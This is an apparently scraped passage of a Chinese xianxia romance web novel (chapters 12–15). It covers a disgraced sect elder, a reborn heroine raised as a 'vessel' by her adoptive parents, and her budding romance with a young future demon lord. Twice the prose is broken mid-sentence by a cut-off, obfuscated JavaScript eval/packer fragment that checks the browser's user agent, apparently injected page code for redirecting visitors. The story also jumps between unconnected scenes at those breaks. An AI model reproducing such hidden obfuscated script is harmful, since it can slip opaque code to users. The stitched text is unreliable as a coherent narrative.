刀刃放在指间,魏无机却始终下不去手,这么多目光看着,血滴下去,一旦不溶,这母子俩便是必死之局。 可他们不死,他在仙门经营这么多年,一切将会化作泡影,他此生恐怕还会背上骂名。 魏无机闭了闭眼睛,收了刀子,侧身跪拜在长老跟前,带着颤音的颓败语气说道:“徒儿知错。” 不知长老作何想,可他露在人前的面色却依旧是平静的,他问:“你知何错?” 魏无机道:“此子确实是我亲生,那妇人也是我在凡间的妻子。” 这话一出,顿时引起一阵轩然大波,底下议论声此起彼伏,就连几个师长也是面面相觑,许宓虽早已猜到,可听魏无机亲口承认也依旧难以置信,似遭受不住打击般,下意识后退一步。 长老面色依旧如常,他道:“无机,你可知你所犯之罪将遭受何种惩罚?” “徒儿知道。” 他此生便与仙门无缘,而因他私心让洪都门蒙羞,他还要接受门规处置。 黎清词看到这一幕也是一脸复杂,方才长老要滴血验亲时,她就猜到或许长老要选择包庇魏无机。毕竟从大局着想,长老绝对不会让洪都门声誉被毁,私下自会处罚魏无机,但当众肯定要保下他。 可她没想到魏无机竟会当众认下那孩子。她觉得这位师长是个沽名钓誉之徒,一副为人清廉做派,却接受黎家夫妻的钱财动用邪术,在仙门表演爱妻的好丈夫角色,却偷偷在外面养一房夫人还生个儿子。 如此自私之人,想来也会让利益最大化,说不定真会翻脸不认人,将这对母子杀了。 所以看到这一幕的黎清词不禁诧异。 魏无机接着道:“因我一己私心让师门蒙羞,我愧对长老信任,也愧对学子敬重。”他说完看向许宓,对上许宓那惨白的脸色,他顿时一脸沉痛,“我更对不起我的夫人。徒儿有错,愿接受惩罚。” 长老轻轻叹息一声,冲周围守卫说道:“将罪人魏无机带到审戒堂。” 这话落下,周围学子皆倒抽一口凉气,审戒堂是洪都门中行重刑之地,去里面一趟,不死也得褪层皮。 魏无机被押走,长老也离开,门主看了一眼那母子,命人将他们妥善安置,随后看向许宓,有些担忧走上前,安慰着唤了一声:“师妹……”一时却又不知该安慰何言。 许宓自嘲一笑,“师兄不必担心,我没事。” 门主叹息一声,叫人将她搀扶下去,又命学子散场,闹哄哄的训练场很快便安静下来。 黎清词和百里衍也从训练场出来,待周围人少了些,百里衍便道:“今日你不该挡在我面前,如若你师长没有收住力道打在你身上,后果不堪设想。” “那总比打在你身上要好吧,你如今还有伤在身。” 百里衍走到她跟前站定,皱眉看向她,面色多了几分严肃,“往后不可再这样。” “看情况。” “无论什么情况都不可这样!” 他面色更凝重了些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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百里衍道:“之前那一拨确实放了,我并未对你食言,这一波是新抓的。” “……” 黎清词实在无话可说,可知道是那仙门之人炼的丹,她却再有不肯吃了。 百里衍很生气,质问她为什么。 “你竟为了这不相干的人,连自己命都不顾了?” “用无辜之人来延续自己的命,我做不到。” “你都快死了还在意这些?” 黎清词没搭理,总之就是不吃,百里衍压抑着怒火又道:“他们究竟算什么值得你这样怜悯?他们牺牲自己能救你,那也是他们的造化。” “……” 黎清词无法理解大魔头的想法,大魔头也无法理解她对无辜的同理之心。黎清词叹口气,“我这身体我自己知道,是治不好的,让人牺牲也是白牺牲。” “你现在不是有好转吗?怎会是白牺牲?” “有好转不是因为用丹药续着吗?难不成你要一直抓人?” “有何不可?” “……” “那若是仙门的人都抓完了也不见好呢?” “那便用魔族之人。” “……” 不是,这人连自己人也不放过? “那若是魔族之人抓完了也不见好呢?” “那便拿我自己入药。” “……” 这疯子,黎清词觉得真没法说服他的。 总之黎清词执意不吃,没办法百里衍又只能给她换成药,黎清词再三确定没有加什么奇怪的东西这才喝下。 身体确实也好了许多,之前走两步就气喘,如今能多走几步了,黎清词本以为是百里衍找到了对症之药,直到她慢慢发现不对劲。 她的身体越来越好,百里衍的身体却越来越差,一开始是听到了他的咳嗽声。这家伙壮得像头牛似的,听到他的咳嗽声黎清词不免诧异,百里衍却只简单解释一句是近日太累。 渐渐地,她发现百里衍的脸色越来越差,以至于有一次他身形竟恍惚了一下,索性旁边有桌子支撑,不然恐怕会狼狈摔在地。 百里衍也只说是他没休息好。 黎清词却觉得不对劲。想着百里衍最近跟魔族祭司走得比较近,她便去祭司殿找到祭司,以死相逼,那祭司便说了实话。 原来百里衍的血很特殊,可以入药,能增强药效,比如药效是九,用百里衍的血入药,药效能达到九百九十九。 这就是黎清词身体渐渐转好而百里衍身体渐渐变差的原因。 百里衍不仅以血入药,而且还用的心头血,效果奇佳,连黎清词这种将死之人都能让他强行续命。 祭司长叹一声,“这样并不是长久之计,姑娘的身体需长期喝药才行,可若是魔尊长期放心头血,对他消耗太大,他撑不了多久。” 黎清词无法形容听到这话之后的震惊。百里衍还真是个疯子啊,还真拿自己入药了?哪怕是要还她当日救他之情,这么多年的照顾也该还清了,为何还要做到这般地步呢?她这副病弱之躯究竟有什么值得他施救的? 她也曾这般问过百里衍,你究竟为什么要这般不留余力救我? 那时百里衍放了心头血,面色有些苍白,额间的魔印也暗淡下来,闻言,淡淡扫她一眼,眼风也没了往日的锋利。 “都说你们仙门之人有着玲珑之心,我看你这心也没那么玲珑。” 他略带嘲讽说了一句,却没再多言,大魔头也说不出肉麻话。 黎清词也是一声轻笑,她已病入膏肓,不打算再喝那加了他心头血的药,她知她命不久矣,很多事情自然也没必要言说。 黎清词收回神,平复了一下心绪,为什么呢,因为阿衍,你也曾不留余力救我啊。 13.第 13 章 此刻黎清词双手背于身后,身体微微前倾,仰头看着他,“为什么救你啊……”她微笑道:“自然是因为阿衍长得太过好看,我看着便忍不住怜惜。” 她目光灼灼,他似被烫了一般,微微偏头避开。 黎清词看着露在眼前微微僵硬的侧脸,心头欢喜,这羞涩的小模样真是好看。 “如何?是觉得我太过肤浅?” “没有。” 她不知他此刻心中庆幸,索性这皮囊长得如她之意。 魏无机从刑戒堂出来时一张脸苍白得不成样子,甚至连走路都不稳,走两步便摔在地上重重咳嗽。 魏无机拖着沉重的步子回到他所住的小院,他与许宓都是洪都门师长,有专门的住所,院子不大,却也够他们两人居住。 许宓并未没有睡下,她坐在桌前拨弄花灯,显然是特意等他。听到推门声,她看过来,与进屋的魏无机四目相对,一时无言,屋中静得可怕,只听得灯芯燃烧时的噼啪声。 任凭心中怎生翻江倒海,可此刻看着彼此,两人都是平静的。 若换做往常她定会迎上来问他怎得回来这么晚,可只是几个时辰不见却像是隔了几生几世,一切都不一样了。 魏无机先开了口,“要睡了吗?我去给你熬碗参汤,喝了好睡觉。” 他这会儿整个人都站不稳,说完还真就向厨房里走去。 “我们解契吧。” 身后传来许宓的声音,魏无机脚步一顿,闭上眼,压下漫上喉头的鲜血。半晌他才转过身,用微颤的声音说:“对不起宓儿,是我辜负了你,你打我骂我给我一剑,只要能消气怎么都好。” 许宓摇摇头,“生气是肯定的,可更多的是觉得丢脸,我这是什么样的眼光,竟找了这样的男人。我都能想象往后别人见到我会对我如何议论。即便我给你一剑,或者杀了你,又有什么用呢,这样的污点都会存在,终究还是白费力气。” 许宓表现得太平淡了,没有像那凡人妇人一样遇到事情就哭哭啼啼一哭二闹三上吊,她总是这般平淡。淡淡的微笑,淡淡的生活,只在练功上会拼尽全力,甚至不惜为练功伤了身体。 魏无机反而更不好受,屋中又陷入沉默,许宓拨弄着灯芯,屋里一时影影幢幢的,像梦一样,魏无机也希望这一切是梦。虽然想到或许有一天事情会败露,可他从不敢想败露时该如何面对。 而他从未考虑过的,现在就真实发生在他面前,将他打的措手不及。实际上什么时候败露他都是措手不及的。 “你走吧,明日去三生石,我们解契。” 魏无机沉默了许久许久,有很多话想说,却又不知道该说什么。宓儿是什么样的性子他再清楚不过的不是吗,她这样说就是毫无挽留的余地了。 魏无机脚步像灌了铅一样沉重,他转身,一步步沉重走到门口,身后许宓的声音又传来,“你与那妇人也会对烛长谈,天南海北,不知疲倦吗?” 魏无机脚步停住,他侧身,看向她,许宓以手支额,指间依旧拨弄那花灯,晃动的影,便如他不安的心一样颤动。 他道:“我与那妇人并无话可说。” 那你为什么跟她在一起呢?许宓在心里问,却没有看他,也没有说出口,只因为她能生孩子吗? 许宓笑了,极平静冲他道:“你走吧。” 他出了门,许宓一抬手,用灵力将门合上,不轻不重的,似她平静的内心,没有喧嚣着愤怒,也无怨恨。 比起如此,魏无机更想她能骂他一场,或者直接将他杀了还让他好受一些。 一声轻响,门合上,隔绝了两人,一扇门之隔,从此却是泾渭分明的两个世界,魏无机的世界里再无有许宓,无有那与他灵魂契合,能对烛长谈到深夜之人。 魏无机触犯门规,受了洪都门刑戒堂的九大刑之后便被逐出了洪都门,这通告发出后自然又引得一众洪都门学子哗然。 之前魏无机本来是想“坐实”百里衍的魔族身份,他弄出这些事来,自然也就没有人再信他的话,也无人再提及百里衍身份的事。 就在出事后的第二日,薛秋蝉来信,让黎清词回家一趟。黎清词能理解,魏无机与他们是一伙,他出了事,再加上百里衍那日看到他们与魏无机见面,不过他们大概不知道百里衍认出了他们,所以得将她叫回去试探一下。 第二日黎清词便回到了家中,先来正堂拜见父母。 “父亲,母亲,近日可安好?” “我们很好。”薛秋蝉应道,“我听说你们门中发生的事情,你如何?有没有被波及?” “回母亲,女儿一直安分守己,并未波及。” “那便好。” “母亲招我回来,是家中出了何事?” 薛秋蝉嗔了她一眼,说道:“你这孩子,家中无事母亲就不能因为想你招你回来?” “劳母亲挂念了。” “听说你在岐山试炼时救了一个刀修?”这话是黎晋书问的。 “回父亲,确有其事。” “那刀修身份可清楚?” “清楚的,门主已探查过,他确有灵根,是仙门中人。” “那便好。”黎晋书应了一声,又转了话题问:“剑带了?” “带了的。” “那便随我来。” 黎清词随他去了后院,黎晋书站定,负手看向她,“拔剑吧。” 黎清词知道他这是要试探一下她的武功,每次归家黎晋书都要与她切磋一番,她一直以为这是爹爹对她的关心,要检验她在洪都门学得如何,后来才知道这是对她这个器皿的例行检查。 “女儿得罪了。”黎清词应了一声,拔了剑便向他袭去。 记得那一日,天空乌云密布,天地笼罩在一片风雨欲来的压抑中,她提着剑闯进黎家,从外杀到内。 那时她汲取了百里衍的法力,比现在可要强多了,可不知心头哪里来的一股怨气,她出剑时便也如那日那般狠戾。 可黎清词很快意识到不对,急忙收了力道,后院一阵刀光剑影,最后一剑黎清词斜插着黎晋书的脸刺过去,黎晋书身形矫捷躲过,剑刃划到身后榕树上,留下一条深深的凹痕。 黎清词急忙收剑入鞘,有些懊恼赔罪:“女儿得罪了。” 也不知她一时的情绪波动是否让黎晋书怀疑了,不想黎晋书却捻着胡子大笑道:“我儿身手越来越好了,为父甚是欣慰。” 黎清词暗暗观察了一下他的表情,没看出什么不对,这才松了一口气。 薛秋蝉端了两份甜汤过来,嗔怪道:“一回来也不让人歇息一下,就拉着人来打打杀杀的,来小词,娘给你熬了甜汤,过来尝尝。” 黎清词走过去端起甜汤,却并未饮下,前世这个时候她还以为自己是被父母捧在手中疼爱的娇女,爹爹考验她武功,母亲给她熬了甜汤,一家人和和气气,处处透着温馨。 可是现在端着甜汤却不自觉想,这里面是否也加了东西。 不过也只是闪过一个念头,她便端起甜汤喝下,黎晋书大笑着走过来,也端了甜汤喝。想来这里面也并未加东西。 一家三口看上去和谐美满,而黎清词曾也沉浸在这样的和谐美满中,她以为她真的是他们的女儿,他们待她也真的像亲生孩子。用糖衣炮弹,用柔情蜜意,用亲情的外衣裹住心机,让人无从察觉,怎么会察觉得了呢?谁能想到最亲近的亲人会是谋害自己的恶人呢? 黎清词想着前世曾发生在这里血流成河的一幕,她将这一家人杀了,她报了被欺辱的仇,鼻端似乎还嗅到那时浓烈的血腥味。 黎清词一时难以忍受,隐隐作呕,她便道:“我去看看姐姐。” 夫妻二人自然不疑有他,黎晋书还一脸欣慰点点头,似乎很满意她关心着姐姐。 黎怀婉依旧坐在那烧满了炭火的屋中,身上裹着一件厚厚的披风。 黎清词推门进去,唤她:“姐姐。” 黎怀婉面色一喜,急忙冲她招手,“快些过来,见过爹娘了?” “见过了。” 黎清词蹲在她身边,黎怀婉爱怜揉了揉她的头,说道:“又是许久不见了。” “是啊。”黎清词将脸伏在她膝盖上,一来表达亲近,二来也掩盖住脸上一闪而逝的厌恶,“多日不见,甚是想念姐姐。” “听说你在岐山试炼救了个男子?” “这事竟都传到姐姐耳中了?” “我整日呆在房中无聊,便总想着让雀儿讲讲外面的事情给我听。” 雀儿是她的贴身丫头。黎怀婉又问:“是个什么样的男子?” “嗯……干净的,俊美的。” “听你这形容,这男子似乎很得你心?” 黎清词点了点头,黎怀婉沉默片刻,又故作不经意问道:“那……靖安呢?你与别的男子亲近了,靖安该如何?” 其实早就该发现的不是吗?那时黎怀婉也时不时如闲聊般问起她和梁靖安,她以为只是作为姐姐对她的关心却未察觉藏在询问里的刻意。 黎清词说道:“靖安哥是我的好友,百里公子也是我的好友,我交别的朋友难道还要问另一个朋友的意思吗?” 黎怀婉便没再问,沉默了一会儿,感叹一声:“真好。” “嗯?什么真好?” “能交不同的朋友,真好。” 黎清词自然听出了她的意思,她压下脸上浮现的一股冷意,安慰道:“我知姐姐寂寞,往后便常回来,讲讲门中的事与你听可好?” “别,不要耽误了你修炼。” 嗯,是呢,器皿要好好养,不然该用的时候要怎么用呢? 晚上一家子坐在一起吃饭,自然又是一派祥和之气,饭间的氛围也是格外温馨。第二日起来黎清词便告辞回洪都门了。 黎清词知道应该是打消他们的顾虑了,不然她不可能好好回来。在准备好应对之策前,黎清词还得陪他们演戏,她觉得烦。 回到洪都门,黎清词先去了一趟医修堂,虽说打消了黎家人的顾虑,但她不保证她们不会提前行动,不管怎么样,该准备的还得准备好。 黎清词去了陆远和的小院,陆远和看到她,有些不虞:“给你的丹药这么快用完了?你当饭吃的?” “没有没有,还多着呢。” “那你找我做什么?” “师兄你瞧瞧你说这话,我来找你难道就是问你要丹药的吗?” “那你便走吧,少来烦我。” “……” 黎清词没走,陆远和看向她,也没问,一副“我就知道你不会白来找我”的表情。 黎清词轻咳一声缓解了一下尴尬,既然都被他看出来了也不藏着,便直接将药方给他,说道:“师兄,你能帮我把这种丹药制作出来吗?只需一颗便好。” 陆远和望着单子皱眉,“噬魂草,永生花,这里面好几种药材只有魔族才有的,你这是哪里来的方子?” “我捡到的。” “捡到的?你若不跟我说实话,这丹我是不会帮炼的。” 陆远和说完将方子递过来,黎清词有些为难,“不是我不想说,是我不能说啊。” “有什么不能说的?” “天机不可泄露,说了会遭天打雷劈的。”黎清词说完表情郑重了一些,“师兄,我只能告诉你,这方子关乎到我的身家性命,其余的我不能多说,如此师兄还愿意帮我吗?” 陆远和紧紧盯着她的脸,似乎要从她表情中判断她这话的真假,黎清词一脸真挚,眼底满是恳求,也不知陆远和是不是真信了她的话,他夺过她的方子说道:“我试试,不过此方涉及魔界,此事天知地知你知我知。” “这是自然。” 黎清词感激得差点要给他下跪了,她又道:“多谢师兄,下次试炼要是遇到好东西,我再给师兄带回来。” “我只说试试没说一定能成。” “无妨的,师兄能试我便感激不尽了。” 主要还是相信陆远和,他这样的医痴,越是弄不出来的他反而越是钻研,所以她不会担心他弄不出来,只是时间问题。 洪都门有专门的饭堂,午膳时分,百里衍去饭堂用饭,往日里都是黎清词带他来的,不过黎清词昨日告诉他要回家一趟,今日便是他独自前来。 用完膳从饭堂出来,迎面走来一人拦在他跟前,百里衍认出来人,是曾 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梁靖安放在身侧的双手下意识握成拳,面上倒是平静的,说道:“这倒没什么要紧,小词曾养过一只兔子,她给那兔子也取过好听的名字。小词将你当朋友,给你取个昵称也没什么。小词从小就喜欢交朋友,她交朋友也从不问出生,不论男女,只要投缘便可成为朋友。不过曾交过的朋友,不少都因为一些原因渐渐疏远了。其实也是没办法的事情,所谓礼尚往来,小词送人的礼都是最好的,不过她本身用的都是最好的东西,胭脂要用驻颜坊的,衣服要穿苏和来的料子,身上配饰那能说的就太多了,哪怕镶嵌的珍珠都必须是东海的。她给人送了贵重的礼,人家还不上自然心里过意不去,后来就慢慢疏远了。” “梁公子想说什么?” “我只是想让百里公子有个心理准备。” 百里衍面色没什么变化,甚至还挺有礼貌冲他道:“谢过梁公子提醒了。不过我的伤还未大好,恐怕还得劳烦清清照顾一段时间了。” 梁靖安听得明白,他故意加重了“照顾”两个字。此时人来人往,眼前男子虽还一副守礼做派,不过梁靖安能听出他这话里带着挑衅。 百里衍说完便离开,走到一僻静处,骤然感觉身后一道剑气袭来。百里衍身姿矫捷侧身躲过,以掌运气一挥手,一股强大的掌风便向梁靖安袭去。 他出招太快,梁靖安竟躲避不及,被这一掌击到胸口,掌风竟震得他后退几步,他下意识捂着胸口咳嗽了几声,几分不敢置信几分愤怒的目光向百里衍看去。 百里衍道:“梁公子自诩仙门中人,读书识礼,怎还做出偷袭这种不耻之举?” 梁靖安没想到这人竟这样厉害,不仅躲过了他的剑招竟还能反手给他一击,而他竟没躲过。 梁靖安愤怒于自己竟逊他一筹,不过作为世家公子的教养,他按捺着火气,面色如常说道:“能如此运气,百里公子也是大好了吧?怎得还要劳烦小词照顾你耽误她修行?小词将你当朋友,他如此自私是否辜负了她一番好意?” “我好与不好自然是我说了算,怎么梁公子比我更清楚我的身体吗?” 百里衍说完便直接走了,留下梁靖安愤然想着,此人也太不知廉耻。 百里衍去了如意轩,想敲门但又觉得冒失,更何况清清回家去了,也不知道回来没有。 正打算离开便听到有人叫他,他转头,便见黎清词向他走来。她归家去,穿的是自己的常服,如瀑的青丝半挽,头饰并不华丽,只带了一根玛瑙簪,身上穿着藕粉色的裙装,腰上系着飘带,轻飘飘如云,行动间便如踏云而来。 如若不是上好的衣料,是绝不会在阳光下呈现如此柔顺的色泽,不过她确实也当得起一切好东西,她便该是这般光鲜亮丽的。 “来找我?”黎清词问他。 一股眩晕感袭来,百里衍下意识收回目光,说道:“你才回来吗?” “回来一会儿了,去了医修堂找远和师兄。” 远和师兄…… 之前梁公子,现在又是远和师兄,她确实很喜欢交朋友,知交甚多。 不过百里衍自然没有多问,他道:“你如今忙完了?” “嗯忙完了。你找我何事?” “其实也没什么事,就是想告诉你,我打算参加洪都门的入学试炼。” 黎清词听到这话心头一喜,“那正好,说不定我们能成同门了。” 百里衍对上她的笑,也不自觉笑起来。 黎清词又道:“不过你伤还没好,洪都门入学试炼开春就要开始了,要不你再休息一年?” 洪都门每年都会招收新的学子,只有通过考核的才能进入洪都门。 “无妨的。”他等不了一年。 “那行,你若是有什么需要便找我,我定会尽全力帮你。” 百里衍深深看了她一眼,她目光诚挚,可他不自觉在想,是否对于其他人她也会倾囊相授呢? 他急忙压下这些念头,应道:“好。” 说罢他突然捂着胸口压抑着咳了几声,黎清词见状问道:“怎么了?” “内伤好像复发了。” “我走之前你已恢复得差不多了,怎得又复发了?” 百里衍想说什么却欲言又止,他道:“没什么,好好修养就行。” 黎清词却觉得不对劲,她道:“你有什么要如实跟我说。” 百里衍犹豫了片刻才道:“方才被人偷袭,本能躲避便动用了内力。” 黎清词听到这话顿时提高了警惕,“偷袭?被何人偷袭?” 魏无机已经离开了,应该不是他。 “那人或许是想跟我切磋,我见他也没恶意。” “洪都门是名门正派,怎会有学子行此小人之举,你便告诉我他是谁,我去找他要个说法。” “算了,想来他也被我打伤了,又何必为了我伤了你们同门之谊呢。更何况我一个门外弟子长期住在这里本就占了大家资源,别人有怨言也可以理解。” “……” 黎清词看向百里衍的目光多了几分诧异,不一样,实在太不一样了。要是换做未来那大魔头,谁敢惹他,定是会将他碎尸万段的,然而年少时的他却这般体谅别人,被偷袭了还能为别人找理由,觉得是因为自己占了人家的资源。 阿衍,原来你年少时是这般善良的。 14.第 14 章 他不愿意说,黎清词自然也不再多问,她将他送到房间,见他依旧捂着胸口,黎清词道:“晚点我去陆师兄那儿拿些药膏给你。” “无大碍的,你不用再跑来跑去。” “也没什么,你不必推辞了。” 百里衍便没再多说什么,黎清词坐了一会儿便离开,百里衍这才活动了一下肩膀。 要进入洪都门也不是通过试炼就万事大吉,洪都门的束脩也是一笔庞大的开支,这事儿还得跟舅舅商量。 百里衍便写了一封信寄到苏城,不想这次舅舅回信很快,信上告知他,若他能通过试炼,他定会全力支持他在洪都门修习,不仅如此还附赠了一堆灵石给他。 凡人用的是银钱,仙门则是灵石,舅舅还得特意将银钱换成灵石才寄给他,也足见他的诚意。 百里衍也不知舅舅为何突然这么支持他修习了,舅舅虽富甲一方,却是不愿意在他身上多花钱的。 不过如今也不必想那么多,舅舅能支持再好不过,他要做的就是潜心修养,为接下来的入学考核做准备。 魏无机被逐出洪都门后先将那对凡人母子送回家,妇人痛哭着要留他下来。 “我不管你究竟是何人,你曾经又跟何人在一起,只要你好好跟我们母子在一起,你做过什么我都不计较。” 即便魏无机如今一无所有的,可他又怎么甘心当个凡人每天柴米油盐?魏无机拂袖而去。 魏无机去了黎家,黎家夫妻和他有交易,而他自然也知道黎家的秘密,黎清词并不是他们亲生女儿,而是夫妻俩为自己亲生女儿养的器皿。魏无机虽然离去,不代表他就不管那对母子,相反他还要帮着那孩子娶妻生子,这样他的血脉才能延续下去。他已经失去了名誉,他不能再失去血脉。 魏无机之所以答应黎家夫妻就是因为他缺钱,和许宓在一起,两人并没有孩子,奉钱自然足够他们用。可他在凡界有孩子,要帮他娶妻生子,立足于世,单靠他的奉钱是不够的。黎家夫妻要做的事情于道义上自然是说不过去的,而且其中还要动用禁术,作为正派之人,用禁术可是触犯门规的,可奈何黎家夫妻给的太多了。 当然这会儿他已经被逐出山门,自然也就不用再顾忌那么多。 黎家夫妻听他说完有些犹豫,黎晋书说道:“我怕小词如今功力还不够,就算给了婉儿也不足以疗愈她的身体。” 本来他们商量的是再过几年。待黎清词功力再增长些才动手,而且那药也要时间越长效果才越好。 魏无机却不想等那么久了,那孩子已及冠,既然都没在仙门了,他自然要尽快帮他娶亲。 魏无机道:“我受了门规惩戒,法力已大不如前,此番还能对付她,若让她功力再上涨些,怕是拿她没办法。” 魏无机受罚的事情黎家夫妻自然也听说了,这倒也是个问题,薛秋蝉便不安确认,“这会儿把黎清词功力给婉儿,能疗愈她身体吗?能让她同常人一般修炼吗?” “这个是自然,我会想办法让黎大小姐如常修炼。” 听到这话黎家夫妻也松了口气,便答应提前行动。 百里衍的伤已经好得差不多了,他如今住在洪都门是因为洪都门本着救济伤者的原则让他居住,可他伤好了就不好再继续住了。更何况黎清词来往照顾他确实也挺耽误她修炼的,他去别的地方养伤也一样。 不过马上开春他就可以参加洪都门的入学试炼,到时候再堂堂正正住进来。 这里百里衍便打算去跟黎清词告别,不想还未走到如意轩门口,却见在距离如意轩不远的一处凉亭中,黎清词正同一个男子在里面说话。 百里衍认出了那男子,是上次找过他的梁靖安。 黎清词被梁靖安叫出来,说是有事要跟她谈,两人到了附近的凉亭,黎清词问他:“你找我谈什么?” “你和百里衍是何关系?那日众目睽睽之下,你为何要为了他挡在师长面前,你可知门里都在议论你。” “议论什么?” “见异思迁。” 黎清词笑了,“哪里来的见异思迁,我在门中可并无心仪之人。” 梁靖安听到这话眉头皱起,他道:“众人皆知,你我两家有意联姻。” “确实如此啊,可黎家的女儿有两个。” “黎清词!”梁靖安被她这话惹恼了,他厉声出口打断她,“我们自小一起长大,青梅竹马,你怎得说此话?” 黎清词也清楚为何梁靖安如此生气,毕竟现在的黎怀婉是个废人,连走路都费劲,让他娶个废人,那纯粹在侮辱他。 “你跟我姐姐不也从小一起长大吗?更何况两家虽有意联姻,但八字都还没一撇。说不定两家联姻就指的你和姐姐呢?” “待这次沐休回去,我便让父母去你家定下你我二人亲事。” “……” 这话倒让黎清词意外,此刻梁靖安表情认真,并不是冲动之言。在前世黎清词被废前,梁靖安从未跟她提过定亲之事,两人都默认了两人未来会成亲。后来黎清词被废,而林靖安几乎也没做什么挣扎就娶了黎怀婉,所以对他来说,只要跟黎家联姻,娶谁都一样。 黎清词意味深长笑了笑,说道:“你为何想要与我定亲?” “你何必明知故问小词?” “我不知。” 梁靖安沉默片刻,说道:“我属意于你。” 黎清词笑意渐深,“原来如此啊,看样子我要辜负你一番心意了。” 梁靖安面色微沉,“你是何意?” “我们确实自小相识,可我从来只将你当朋友啊。如此一来自然是要辜负你一番心意了。” 梁靖安道:“我不信,我知你也是于我有意的,是因为百里衍吗?你果然移情别恋?” “就算吧,可是谁规定了一定要一直喜欢一个人?” 梁靖安眼底已腾起火气,他放在身侧的双手握紧,“所以为何会变?” “什么为何?你这一生也不可能只喜欢一个人啊,人心总会变的。” “你不是我你又怎知我会变?” 我怎么会不知呢,你未来可是娶了别人的啊。 黎清词对于梁靖安也说不上感情多深厚,是因为父母有那个意向让两家联姻,黎清词便以为她和梁靖安未来是要成亲的,对他自然是跟对旁人不一样。可若说多喜欢,好像也不尽然,只是得知梁靖安跟黎怀婉成亲时心里还是难受了一下。 “是因为百里衍对吗?他究竟有什么好?”梁靖安又问道,语气中已透出压抑不住的火气。 “他啊……他比你长得好看啊。” “……” 梁靖安仿若被打了一闷棍似的,有那么一刻,他觉得黎清词是在跟他开玩笑,毕竟两人自小一起长大,他知黎清词并不是个肤浅的人。 可这是黎清词给他的唯一答案,黎清词连敷衍他找个更像样的理由都懒得。 “所以你就是被他那皮囊所蒙骗?你可清楚他是怎样一个人?” “他是怎样的人难不成你比我更清楚?” “此人心思叵测,你莫要被他骗了,他伤早就好了却故意装病,就是想得你同情让你继续照顾他。你倒好了,被他那张皮囊所骗,来往照顾他耽误自己修行。” “装病?”黎清词微眯着双眼看向他,突然想到上次见到百里衍时他捂着胸口咳嗽,她一问之下才知道他被人偷袭。“你怎知他是装病?” “那日我试探过他,他内力完好而且还出手狠辣,差点打伤了我。” 实际上梁靖安是被打伤了的,但他觉得被百里衍一个洪都门外的人打伤有点丢脸,所以用的是“差点打伤” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可直到少年走近,不安的感觉才消散了些,不一样的,眼前少年并没有未来那大魔头的戾气,他是少年百里衍,不是那个大魔头。 年少的阿衍,是温柔的,善良的。 百里衍目光向黎清词身后的梁靖安看了一眼又落在她身上,问她:“我有事要同你说,你和梁公子聊完了吗?” 虽然不安消散,可黎清词心头还是不自觉闪过一抹慌乱,她道:“聊完了,走吧。” 两人便往回走,百里衍在转身时,还故意意味深长向梁靖安看了一眼,那眼神梁靖安看得真切,淡漠的一勾唇,像是在笑他,又像是某种挑衅。 梁靖安放在身侧的双手握得更紧。 “梁公子不久前也找过我。”百里衍突然说了一句。 “嗯?他找你做什么?” “他告诉我,他家和你家是世交,你们的长辈有意要联姻。” 黎清词以为百里衍是要告诉她,上次是被梁靖安偷袭的,竟不是。此事阿衍并未放在心上,梁靖安却还特意提起,如此一对比,便更觉阿衍善良。 黎清词急忙解释:“那是长辈们的意思,并不代表我的意思。” “所以,你并不倾心梁公子?” “那是当然。” 百里衍听到这话稍稍松了一口气,可随即便是沉默,稍加思索他还是问出那句,“若是你父母执意要你嫁给梁靖安,你要如何?” 黎清词向少年看去,此刻少年虽没有未来大魔王时期那深渊般高深莫测,可看她的眼神却也带着几分深意。 可黎清词喜欢看他清澈的模样,所以她对着他的目光认真想了想回答,“那我便与你私奔吧。” 15.第 15 章 果然那深意的目光顿时就闪了闪,复杂的情绪在他眼底翻涌,似不敢置信于她的回答,又藏着惊喜,可随即他稍稍避开,语气急促说道:“不可。” 黎清词便故意做出失落的模样,“为何?原来阿衍并不倾心于我。” “倾心”两个字像是将百里衍刺中了似的,他目光越发慌乱,一时乱得竟不知该怎么回答。 黎清词又道:“阿衍会对我脸红,阿衍看到我父母和师长在禁地谈话便忧心我,阿衍看到我会欢喜,我以为阿衍是倾心于我的,原来不是啊。” 百里衍有些着急,下意识便道:“没有,我倾心于你的。” 黎清词听到这话,脸上的笑意一点点扩散,眼前少年像是要证明他话的真实性,一直坦诚与她目光对视,可片刻后却又下意识避开,落在她眼底的侧脸染了一抹红,黎清词还注意到他胸口异样的起伏。 未来那大魔头,从未说过这样的话,哪怕他豁出命救她,却也从未说过,我倾心与你。 阿衍,这样的话,我终究还是从你口中听到的。年少的你竟如此真挚而坦诚,一点也藏不住心事。 百里衍看着眼前的女孩,她笑容灿烂,一双眼睛明媚如朝阳,他也很想问,你呢,清清,你是否也倾心于我。 想着梁靖安的话,他说她心底善良,救他就像救路边的流浪猫狗,而她也会给她养的兔子取昵称,我于你来说只是你随手搭救的一只猫一只狗吗? 可百里衍并没有问出口,或许只是她生性善良,善于怜悯弱者,或许他只是她怜悯众多弱者之一,或者他只是她施救的众多猫狗中的一只,又或者他只是她无聊时的消遣,可那又怎么样呢? 他看着眼前的女孩,目光有些紧,仿若黏在她身上似的。 那又怎么样呢? 黎清词并未察觉出他的异样,她又问到:“你既倾心于我,为何不愿意与我私奔?” 百里衍压下心间翻涌的情绪,颔首,掩盖住眼底开始灼热到让他都感觉不适的目光,他道:“那样有辱你的身份。” “那你说,若我爹娘执意将我嫁给梁靖安,我该如何?” 他沉默片刻后说道:“你暂时同意。” “……” 黎清词怀疑自己听错了,方才还承认倾心于她呢,这会儿他却同意她嫁给别人? “我如今没有任何功名在身,我父母也已早逝无法给我提供帮助,我怕我也无法护你周全。可我也信我并非池中之物,总会有功成名就的一天,但我没法那么自私在我一无所有无法护你时让你与我私奔,所以你可先嫁于别人。若有一天我功成名就我便来找你,若我一事无成,那我也无颜出现在你面前。” 